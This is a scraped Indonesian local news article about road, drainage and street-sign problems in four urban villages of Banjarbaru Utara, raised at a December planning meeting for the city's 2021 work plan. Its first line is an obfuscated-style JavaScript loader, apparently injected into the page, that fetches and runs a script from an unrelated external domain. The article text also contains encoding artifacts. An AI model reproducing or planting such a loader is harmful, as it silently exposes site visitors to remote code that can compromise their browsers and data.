(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Persoalan jalan dan drainase di kota Banjarbaru menjadi salah satu prioritas utama Pemerintah Kota (Pemko) yang dibahas dalam Rencana Kerja Pemerintah Daerah (RKDP) pada tahun 2021.
Salah satu wilayah di kota Banjarbaru yang diklaim belum optimal pembangunan jalan dan drainase yakni di Kecamatan Banjarbaru Utara. Dari 4 kelurahan yang ada, Sungai Ulin, Mentaos, Loktabat Utara dan Komet hampir semua usulan dilandasi permasalahan genangan air, banjir, kecilnya ruas jalan dan rusaknya jalan lingkungan sekitar perumahan dan kota.ÂÂ
Tidak hanya itu, di 4 wilayah kelurahan pusat kota tersebut juga masih susah untuk ditemukannya nama-nama jalan, lantaran belum adanya plang nama jalan.ÂÂ
Dalam Musyawarah Perencanaan Pembangunan (Musrembang) pada Kamis (5/12), hampir seluruh kelurahan di Kecamatan Banjarbaru mengusulkan permasalahan jalan dan normalisasi penataan drainase lingkungan perumahan.
Contohnya, Kelurahan Sungai Ulin ada 4 usulan mengenai permasalahan jalan, 6 usulan perbaikan drainase. Kedua di Kelurahan Mentaos terdapat 3 usulan soal jalan dan normalisasi penataan drainase lingkungan perumahan.
Ketiga Kelurahan Loktabat Utara mengusulkan 23 usulan perbaikan jalan dan bata press (paving). Lalu untuk usulan perbaikan drainase, parit dan gorong-gorong sebanyak 22 masalah. Terakhir di Kelurahan Komet yang mengusulan 14 masalah perbaikan jalan dan 14 normalisasi drainase dan penutup got.
Menurut Kabid Penyusunan Program dan Evaluasi Bappeda Kota Banjarbaru Taufik Hidayat, dalam musrembang tersebut sebagian besar masih berkutat di sektor infrastruktur. Walupun ada juga sebagian persoalan ekonomi dan sosial budaya. Secara umum sambungnya, tahapan ini diharapkan sesuai dengan proses perencanaan tingkat kota, yang tertuang di dalam dokumen perencanaan jangka menengah kota Banjarbaru.
“Usulan-usulan tersebut nanti akan kita formulasikan di tingkat kota,†katanya saat musrembang tingkat Kecamatan Banjarbaru Utara, di aula Dandaman Kantor Kecamatan Banjarbaru Utara, Kamis (5/12).ÂÂ
Ia menambahkan, prioritas utama pembangunan kota Banjarbaru dalam RKPD 2021, berkaitan dengan Sumber Daya Manusia (SDM), keamanan dan investasi serta infrastruktur.
Terkait permasalahan drainase di Kota Banjarbaru memang telah menjadi atensi bagi Pemko Banjarbaru. Dalam hal ini, Kasi Air Bersih dan Penyehatan Lingkungan Bidang Cipta Karya Dinas PUPR Kota Banjarbaru Nina Aproditha mengatakan, prioritas normalisasi penataan drainase sudah mendapat arahan dari Walikota Banjarbaru Nadjmi Adhani.
“Apalagi ini musim hujan. Tentunya pembangunan drainase harus dioptimalkan untuk penanganan banjir dan genangan air di wilayah lingkungan perumahan dan jalan kota,†katanya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
This website uses cookies.